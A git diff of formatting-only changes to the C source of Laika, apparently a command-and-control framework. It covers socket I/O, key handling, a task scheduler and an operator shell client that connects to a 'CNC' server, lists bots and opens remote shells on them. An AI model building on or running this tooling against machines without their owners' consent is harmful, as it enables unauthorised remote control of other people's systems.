(SOCKETERROR(rcvd) && + LN_ERRNO != LN_EWOULD #ifndef _WIN32 - /* if it's a posix system, also make sure its not a EAGAIN result (which is a recoverable error, there's just nothing to read lol) */ - && LN_ERRNO != EAGAIN + /* if it's a posix system, also make sure its not a EAGAIN result (which is a + recoverable error, there's just nothing to read lol) */ + && LN_ERRNO != EAGAIN #endif ) { /* if the socket closed or an error occurred, return the error result */ @@ -318,13 +346,15 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed return errCode; } -RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) { +RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed) +{ RAWSOCKCODE errCode = RAWSOCK_OK; int sent, i, sentBytes = 0; /* write bytes to the socket until an error occurs or we finish sending */ do { - sent = send(sock->sock, (buffer_t*)(&sock->outBuf[sentBytes]), sz - sentBytes, LN_MSG_NOSIGNAL); + sent = send(sock->sock, (buffer_t *)(&sock->outBuf[sentBytes]), sz - sentBytes, + LN_MSG_NOSIGNAL); /* check for error result */ if (sent == 0) { /* connection closed gracefully */ @@ -333,7 +363,8 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed } else if (SOCKETERROR(sent)) { /* socket error? */ if (LN_ERRNO != LN_EWOULD #ifndef _WIN32 - /* posix also has some platforms which define EAGAIN as a different value than EWOULD, might as well support it. */ + /* posix also has some platforms which define EAGAIN as a different value than + EWOULD, might as well support it. */ && LN_ERRNO != EAGAIN #endif ) { /* socket error! */ @@ -348,7 +379,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed errCode = RAWSOCK_POLL; goto _rawWriteExit; } - } while((sentBytes += sent) < sz); + } while ((sentBytes += sent) < sz); _rawWriteExit: #if 0 diff --git a/lib/src/lsodium.c b/lib/src/lsodium.c index 7a23da3..7c87eb3 100644 --- a/lib/src/lsodium.c +++ b/lib/src/lsodium.c @@ -2,23 +2,28 @@ #include -bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) { +bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv) +{ size_t _unused; - if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, &_unused, NULL) != 0) - return false; - - if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, &_unused, NULL) != 0) + if (outPub && sodium_hex2bin(outPub, crypto_kx_PUBLICKEYBYTES, inPub, strlen(inPub), NULL, + &_unused, NULL) != 0) + return false; + + if (outPriv && sodium_hex2bin(outPriv, crypto_kx_SECRETKEYBYTES, inPriv, strlen(inPriv), NULL, + &_unused, NULL) != 0) return false; return true; } -bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) { +bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) +{ return crypto_kx_keypair(outPub, outPriv) == 0; } -bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) { +bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) +{ int i; /* check if key is in authKey list */ diff --git a/lib/src/ltask.c b/lib/src/ltask.c index b65300c..7bae2a4 100644 --- a/lib/src/ltask.c +++ b/lib/src/ltask.c @@ -1,19 +1,24 @@ -#include "lmem.h" #include "ltask.h" -/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms - also side note: microsoft? more like micropenis */ -long laikaT_getTime() { +#include "lmem.h" + +/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get + the current time in ms also side note: microsoft? more like micropenis */ +long laikaT_getTime() +{ struct timespec ts; timespec_get(&ts, TIME_UTC); - return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */ + return ts.tv_sec * 1000 + + ts.tv_nsec / 1000000; /* convert time (seconds & nanoseconds) to milliseconds */ } -void laikaT_initTaskService(struct sLaika_taskService *service) { +void laikaT_initTaskService(struct sLaika_taskService *service) +{ service->headTask = NULL; } -void laikaT_cleanTaskService(struct sLaika_taskService *service) { +void laikaT_cleanTaskService(struct sLaika_taskService *service) +{ struct sLaika_task *curr = service->headTask, *last; /* walk though tasks, freeing all */ @@ -24,7 +29,8 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) { } } -void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) { +void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) +{ struct sLaika_task *curr = service->headTask, *last = NULL; task->scheduled = laikaT_getTime() + task->delta; @@ -47,7 +53,8 @@ void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) } } -void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) { +void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) +{ struct sLaika_task *curr = service->headTask, *last = NULL; if (task == service->headTask) { /* if task is root, set root to next */ @@ -65,7 +72,9 @@ void unscheduleTask(struct sLaika_taskService *service, struct sLaika_task *task } } -struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) { +struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, + taskCallback callback, void *uData) +{ struct sLaika_task *task = laikaM_malloc(sizeof(struct sLaika_task)); task->callback = callback; @@ -77,17 +86,21 @@ struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta return task; } -void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) { +void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) +{ unscheduleTask(service, task); laikaM_free(task); } -void laikaT_pollTasks(struct sLaika_taskService *service) { +void laikaT_pollTasks(struct sLaika_taskService *service) +{ struct sLaika_task *last, *curr = service->headTask; clock_t currTick = laikaT_getTime(); /* run each task, list is already sorted from closest scheduled task to furthest */ - while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */ + while (curr != NULL && + curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events + that follow are also not scheduled yet */ /* walk to next task */ last = curr; curr = curr->next; @@ -102,7 +115,8 @@ void laikaT_pollTasks(struct sLaika_taskService *service) { } /* will return the delta time in ms till the next event. -1 for no tasks scheduled */ -int laikaT_timeTillTask(struct sLaika_taskService *service) { +int laikaT_timeTillTask(struct sLaika_taskService *service) +{ if (service->headTask) { int pause = service->headTask->scheduled - laikaT_getTime(); return (pause > 0) ? pause : 0; diff --git a/shell/include/sclient.h b/shell/include/sclient.h index 4a15511..206cdb0 100644 --- a/shell/include/sclient.h +++ b/shell/include/sclient.h @@ -3,12 +3,12 @@ #include "hashmap.h" #include "lpeer.h" -#include "ltask.h" #include "lsodium.h" - +#include "ltask.h" #include "speer.h" -typedef struct sShell_client { +typedef struct sShell_client +{ uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_pollList pList; struct sLaika_taskService tService; @@ -31,7 +31,8 @@ bool shellC_poll(tShell_client *client, int timeout); void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv); tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id); -int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */ +/* returns new peer id */ +int shellC_addPeer(tShell_client *client, tShell_peer *peer); void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id); void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row); diff --git a/shell/include/scmd.h b/shell/include/scmd.h index 2409614..d9797ba 100644 --- a/shell/include/scmd.h +++ b/shell/include/scmd.h @@ -1,13 +1,14 @@ #ifndef SHELLCMD_H #define SHELLCMD_H -#include - #include "sclient.h" +#include + typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]); -typedef struct sShell_cmdDef { +typedef struct sShell_cmdDef +{ const char *cmd; const char *help; const char *syntax; diff --git a/shell/include/speer.h b/shell/include/speer.h index 831fdb3..8f58577 100644 --- a/shell/include/speer.h +++ b/shell/include/speer.h @@ -1,17 +1,19 @@ #ifndef SHELLPEER_H #define SHELLPEER_H -#include "lsodium.h" #include "lpeer.h" +#include "lsodium.h" -typedef struct sShell_peer { +typedef struct sShell_peer +{ uint8_t pub[crypto_kx_PUBLICKEYBYTES]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; PEERTYPE type; OSTYPE osType; } tShell_peer; -tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipStr); +tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, + char *ipStr); void shellP_freePeer(tShell_peer *peer); void shellP_printInfo(tShell_peer *peer); diff --git a/shell/include/sterm.h b/shell/include/sterm.h index 70e3676..e037a1d 100644 --- a/shell/include/sterm.h +++ b/shell/include/sterm.h @@ -1,18 +1,19 @@ #ifndef SHELLTERM_H #define SHELLTERM_H -#include +#include "sclient.h" + #include +#include +#include #include -#include #include #include #include -#include +#include -#include "sclient.h" - -typedef enum { +typedef enum +{ TERM_BLACK, TERM_RED, TERM_GREEN, @@ -31,29 +32,34 @@ typedef enum { TERM_BRIGHT_WHITE } TERM_COLOR; -#define PRINTTAG(color) shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE)) +#define PRINTTAG(color) \ + shellT_printf("\r%s[~]%s ", shellT_getForeColor(color), shellT_getForeColor(TERM_BRIGHT_WHITE)) -#define PRINTINFO(...) do { \ - PRINTTAG(TERM_BRIGHT_YELLOW); \ - shellT_printf(__VA_ARGS__); \ -} while(0); +#define PRINTINFO(...) \ + do { \ + PRINTTAG(TERM_BRIGHT_YELLOW); \ + shellT_printf(__VA_ARGS__); \ + } while (0); -#define PRINTSUCC(...) do { \ - PRINTTAG(TERM_BRIGHT_GREEN); \ - shellT_printf(__VA_ARGS__); \ -} while(0); +#define PRINTSUCC(...) \ + do { \ + PRINTTAG(TERM_BRIGHT_GREEN); \ + shellT_printf(__VA_ARGS__); \ + } while (0); -#define PRINTERROR(...) do { \ - PRINTTAG(TERM_BRIGHT_RED); \ - shellT_printf(__VA_ARGS__); \ -} while(0); +#define PRINTERROR(...) \ + do { \ + PRINTTAG(TERM_BRIGHT_RED); \ + shellT_printf(__VA_ARGS__); \ + } while (0); void shellT_conioTerm(void); void shellT_resetTerm(void); const char *shellT_getForeColor(TERM_COLOR); void shellT_printf(const char *format, ...); -/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */ +/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no + * events */ bool shellT_waitForInput(int timeout); int shellT_readRawInput(uint8_t *buf, size_t max); void shellT_writeRawOutput(uint8_t *buf, size_t sz); @@ -62,6 +68,7 @@ char shellT_getch(void); int shellT_kbget(void); void shellT_printPrompt(void); void shellT_setPrompt(char *prompt); -void shellT_addChar(tShell_client *client, int c); /* processes input, moving cursor, adding char to cmd, etc. */ + /* processes input, moving cursor, adding char to cmd, etc. */ +void shellT_addChar(tShell_client *client, int c); #endif \ No newline at end of file diff --git a/shell/src/main.c b/shell/src/main.c index 2242fef..9ee9995 100644 --- a/shell/src/main.c +++ b/shell/src/main.c @@ -1,39 +1,52 @@ -#include - +#include "ini.h" #include "sclient.h" #include "sterm.h" -#include "ini.h" -#define STRING(x) #x +#include + +#define STRING(x) #x #define MACROLITSTR(x) STRING(x) -const char *LOGO = "\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝"; +const char *LOGO = + "\n ██╗ █████╗ ██╗██╗ ██╗ █████╗\n ██║ ██╔══██╗██║██║ ██╔╝██╔══██╗\n " + " ██║ ███████║██║█████╔╝ ███████║\n ██║ ██╔══██║██║██╔═██╗ ██╔══██║\n " + " ███████╗██║ ██║██║██║ ██╗██║ ██║\n ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝"; -static int iniHandler(void* user, const char* section, const char* name, const char* value) { - tShell_client *client = (tShell_client*)user; - #define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 +#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0 + +static int iniHandler(void *user, const char *section, const char *name, const char *value) +{ + tShell_client *client = (tShell_client *)user; + if (MATCH("auth", "public-key")) { shellC_loadKeys(client, value, NULL); PRINTINFO("Auth pubkey: %s\n", value); - } else if (MATCH("auth", "private-key")){ + } else if (MATCH("auth", "private-key")) { shellC_loadKeys(client, NULL, value); } else { - return 0; /* unknown section/name, error */ + return 0; /* unknown section/name, error */ } return 1; } -bool loadConfig(tShell_client *client, char *config) { +#undef MATCH + +bool loadConfig(tShell_client *client, char *config) +{ int iniRes; printf("Loading config file '%s'...\n", config); - if ((iniRes = ini_parse(config, iniHandler, (void*)client)) < 0) { + if ((iniRes = ini_parse(config, iniHandler, (void *)client)) < 0) { switch (iniRes) { - case -1: printf("Couldn't load config file '%s'!\n", config); break; - case -2: printf("Memory allocation error :/\n"); break; - default: - printf("Parser error on line %d in config file '%s'!\n", iniRes, config); + case -1: + printf("Couldn't load config file '%s'!\n", config); + break; + case -2: + printf("Memory allocation error :/\n"); + break; + default: + printf("Parser error on line %d in config file '%s'!\n", iniRes, config); } return false; } @@ -41,19 +54,26 @@ bool loadConfig(tShell_client *client, char *config) { return true; } -int main(int argv, char *argc[]) { +int main(int argv, char *argc[]) +{ tShell_client client; char *configFile = "shell.ini"; bool printPrompt = false; - shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, shellT_getForeColor(TERM_BRIGHT_WHITE)); - shellT_printf(" made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT); + shellT_printf("%s%s\n%s", shellT_getForeColor(TERM_BRIGHT_RED), LOGO, + shellT_getForeColor(TERM_BRIGHT_WHITE)); + + shellT_printf( + " made with %s<3%s by CPunch - %s\n\nType 'help' for a list of commands\n\n", + shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE), + "v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." + MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT); shellC_init(&client); /* load config file */ if (argv >= 2) - configFile = argc[1]; + configFile = argc[1]; if (!loadConfig(&client, configFile)) return 1; @@ -61,7 +81,7 @@ int main(int argv, char *argc[]) { shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT); shellT_conioTerm(); - while(laikaS_isAlive((&client.peer->sock))) { + while (laikaS_isAlive((&client.peer->sock))) { /* poll for 50ms */ if (!shellC_poll(&client, 50)) { /* check if we have input! */ diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 28b01b9..da89f82 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -1,57 +1,63 @@ -#include "lmem.h" +#include "sclient.h" + #include "lerror.h" +#include "lmem.h" #include "lpacket.h" #include "lsodium.h" #include "sterm.h" -#include "sclient.h" - - -void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { - tShell_client *client = (tShell_client*)uData; +void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, + void *uData) +{ + tShell_client *client = (tShell_client *)uData; laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG); } /* ======================================[[ PeerHashMap ]]====================================== */ -typedef struct sShell_hashMapElem { +typedef struct sShell_hashMapElem +{ int id; tShell_peer *peer; uint8_t *pub; } tShell_hashMapElem; -int shell_ElemCompare(const void *a, const void *b, void *udata) { +int shell_ElemCompare(const void *a, const void *b, void *udata) +{ const tShell_hashMapElem *ua = a; const tShell_hashMapElem *ub = b; - return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); + return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); } -uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) { +uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) +{ const tShell_hashMapElem *u = item; - return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ + return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */ } /* ====================================[[ Packet Handlers ]]==================================== */ -void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ uint8_t endianness = laikaS_readByte(&peer->sock); peer->sock.flipEndian = endianness != laikaS_isBigEndian(); PRINTSUCC("Handshake accepted!\n"); } -void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void shellC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ LAIKA_DEBUG("got ping from cnc!\n"); /* stubbed */ } - -void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN]; uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; - tShell_client *client = (tShell_client*)uData; + tShell_client *client = (tShell_client *)uData; tShell_peer *bot; uint8_t type, osType; @@ -78,9 +84,10 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat shellC_addPeer(client, bot); } -void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; - tShell_client *client = (tShell_client*)uData; + tShell_client *client = (tShell_client *)uData; tShell_peer *bot; uint8_t type; int id; @@ -100,17 +107,19 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat shellC_rmvPeer(client, bot, id); } -void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ /* stubbed! this packet is a no-op currently */ } -void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { +void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH]; - tShell_client *client = (tShell_client*)uData; + tShell_client *client = (tShell_client *)uData; uint32_t id; /* ignore packet if malformed */ - if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t)) + if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t) || sz <= sizeof(uint32_t)) return; laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */ @@ -124,8 +133,9 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD shellT_writeRawOutput(buf, sz); } -void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - tShell_client *client = (tShell_client*)uData; +void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) +{ + tShell_client *client = (tShell_client *)uData; uint32_t id; laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */ @@ -176,26 +186,24 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = { /* clang-format on */ /* socket event */ -void shellC_onPollFail(struct sLaika_socket *sock, void *uData) { - struct sLaika_peer *peer = (struct sLaika_peer*)sock; - struct sShell_client *client = (struct sShell_client*)uData; +void shellC_onPollFail(struct sLaika_socket *sock, void *uData) +{ + struct sLaika_peer *peer = (struct sLaika_peer *)sock; + struct sShell_client *client = (struct sShell_client *)uData; laikaS_kill(&client->peer->sock); } /* ======================================[[ Client API ]]======================================= */ -void shellC_init(tShell_client *client) { +void shellC_init(tShell_client *client) +{ laikaP_initPList(&client->pList); - client->peer = laikaS_newPeer( - shellC_pktTbl, - &client->pList, - shellC_onPollFail, - (void*)client, - (void*)client - ); + client->peer = laikaS_newPeer(shellC_pktTbl, &client->pList, shellC_onPollFail, (void *)client, + (void *)client); - client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, shell_ElemCompare, NULL, NULL); + client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash, + shell_ElemCompare, NULL, NULL); client->openShell = NULL; client->peerTbl = NULL; client->peerTblCap = 4; @@ -223,7 +231,8 @@ void shellC_init(tShell_client *client) { } } -void shellC_cleanup(tShell_client *client) { +void shellC_cleanup(tShell_client *client) +{ int i; laikaS_freePeer(client->peer); @@ -240,13 +249,15 @@ void shellC_cleanup(tShell_client *client) { laikaM_free(client->peerTbl); } -void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { +void shellC_connectToCNC(tShell_client *client, char *ip, char *port) +{ struct sLaika_socket *sock = &client->peer->sock; PRINTINFO("Connecting to %s:%s...\n", ip, port); /* create encryption keys */ - if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) + if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, + client->priv, client->peer->peerPub) != 0) LAIKA_ERROR("failed to gen session key!\n"); /* setup socket */ @@ -262,7 +273,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { laikaS_writeByte(sock, LAIKA_OSTYPE); laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */ - /* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this information really) */ + /* write stub hostname & ip str (since we're a panel/dummy client, cnc doesn't need this + * information really) */ laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN); laikaS_zeroWrite(sock, LAIKA_INET_LEN); laikaS_endOutPacket(client->peer); @@ -276,7 +288,8 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { /* the handshake requests will be sent on the next call to shellC_poll */ } -bool shellC_poll(tShell_client *client, int timeout) { +bool shellC_poll(tShell_client *client, int timeout) +{ struct sLaika_pollEvent *evnts; int numEvents, i; @@ -299,15 +312,18 @@ bool shellC_poll(tShell_client *client, int timeout) { return true; } -void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) { +void shellC_loadKeys(tShell_client *client, const char *pub, const char *priv) +{ if (!laikaK_loadKeys(pub ? client->pub : NULL, priv ? client->priv : NULL, pub, priv)) { shellC_cleanup(client); LAIKA_ERROR("Failed to init keypair!\n"); } } -tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) { - tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub}); +tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) +{ + tShell_hashMapElem *elem = + (tShell_hashMapElem *)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub}); /* return peer if elem was found, otherwise return NULL */ if (elem) { @@ -319,7 +335,8 @@ tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) { } } -int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) { +int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) +{ /* find empty ID */ int id; for (id = 0; id < client->peerTblCount; id++) { @@ -329,7 +346,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) { /* if we didn't find an empty id, grow the array */ if (id == client->peerTblCount) { - laikaM_growarray(tShell_peer*, client->peerTbl, 1, client->peerTblCount, client->peerTblCap); + laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount, + client->peerTblCap); client->peerTblCount++; } @@ -337,7 +355,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) { client->peerTbl[id] = newPeer; /* insert into hashmap */ - hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer}); + hashmap_set(client->peers, + &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer}); /* let user know */ if (!shellC_isShellOpen(client)) { @@ -347,7 +366,8 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) { return id; } -void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) { +void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) +{ /* remove from bot tbl */ client->peerTbl[id] = NULL; @@ -363,7 +383,8 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) { shellP_freePeer(oldPeer); } -void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row) { +void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, uint16_t row) +{ /* check if we already have a shell open */ if (client->openShell) return; @@ -377,7 +398,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui client->openShell = peer; } -void shellC_closeShell(tShell_client *client) { +void shellC_closeShell(tShell_client *client) +{ uint32_t id = 0; /* we will *ALWAYS* only have one shell open */ /* check if we have a shell open */ if (!shellC_isShellOpen(client)) @@ -391,7 +413,8 @@ void shellC_closeShell(tShell_client *client) { client->openShell = NULL; } -void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) { +void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) +{ uint32_t i, id = 0; /* we will *ALWAYS* only have one shell open */ struct sLaika_socket *sock = &client->peer->sock; /* check if we have a shell open */ @@ -401,21 +424,22 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) { laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA); laikaS_writeInt(sock, &id, sizeof(uint32_t)); switch (client->openShell->osType) { - case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be converted! */ - laikaS_write(sock, data, sz); - break; - default: - /* line endings have to be converted (ALWAYS LINUX->WIN for now) */ - for (i = 0; i < sz; i++) { - if (data[i] == '\n') { - /* convert to windows line endings */ - laikaS_writeByte(sock, '\r'); - laikaS_writeByte(sock, '\n'); - } else { - laikaS_writeByte(sock, data[i]); - } + case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be + converted! */ + laikaS_write(sock, data, sz); + break; + default: + /* line endings have to be converted (ALWAYS LINUX->WIN for now) */ + for (i = 0; i < sz; i++) { + if (data[i] == '\n') { + /* convert to windows line endings */ + laikaS_writeByte(sock, '\r'); + laikaS_writeByte(sock, '\n'); + } else { + laikaS_writeByte(sock, data[i]); } - break; + } + break; } laikaS_endVarPacket(client->peer); } diff --git a/shell/src/scmd.c b/shell/src/scmd.c index a3fd995..4b86e9e 100644 --- a/shell/src/scmd.c +++ b/shell/src/scmd.c @@ -1,17 +1,19 @@ -#include +#include "scmd.h" +#include "lerror.h" #include "lmem.h" #include "sclient.h" #include "speer.h" -#include "scmd.h" #include "sterm.h" -#include "lerror.h" -#define CMD_ERROR(...) do { \ - PRINTTAG(TERM_BRIGHT_RED); \ - shellT_printf(__VA_ARGS__); \ - longjmp(cmdE_err, 1); \ -} while(0); +#include + +#define CMD_ERROR(...) \ + do { \ + PRINTTAG(TERM_BRIGHT_RED); \ + shellT_printf(__VA_ARGS__); \ + longjmp(cmdE_err, 1); \ + } while (0); jmp_buf cmdE_err; @@ -19,14 +21,16 @@ jmp_buf cmdE_err; tShell_cmdDef *shellS_findCmd(char *cmd); -tShell_peer *shellS_getPeer(tShell_client *client, int id) { +tShell_peer *shellS_getPeer(tShell_client *client, int id) +{ if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL) CMD_ERROR("Not a valid peer ID! [%d]\n", id); return client->peerTbl[id]; } -int shellS_readInt(char *str) { +int shellS_readInt(char *str) +{ return atoi(str); } @@ -34,12 +38,14 @@ int shellS_readInt(char *str) { void helpCMD(tShell_client *client, int argc, char *argv[]); -void quitCMD(tShell_client *client, int argc, char *argv[]) { +void quitCMD(tShell_client *client, int argc, char *argv[]) +{ PRINTINFO("Killing socket...\n"); laikaS_kill(&client->peer->sock); } -void listPeersCMD(tShell_client *client, int argc, char *argv[]) { +void listPeersCMD(tShell_client *client, int argc, char *argv[]) +{ int i; for (i = 0; i < client->peerTblCount; i++) { @@ -50,7 +56,8 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[]) { } } -void infoCMD(tShell_client *client, int argc, char *argv[]) { +void infoCMD(tShell_client *client, int argc, char *argv[]) +{ tShell_peer *peer; int id; @@ -65,7 +72,8 @@ void infoCMD(tShell_client *client, int argc, char *argv[]) { shellP_printInfo(peer); } -void openShellCMD(tShell_client *client, int argc, char *argv[]) { +void openShellCMD(tShell_client *client, int argc, char *argv[]) +{ uint8_t 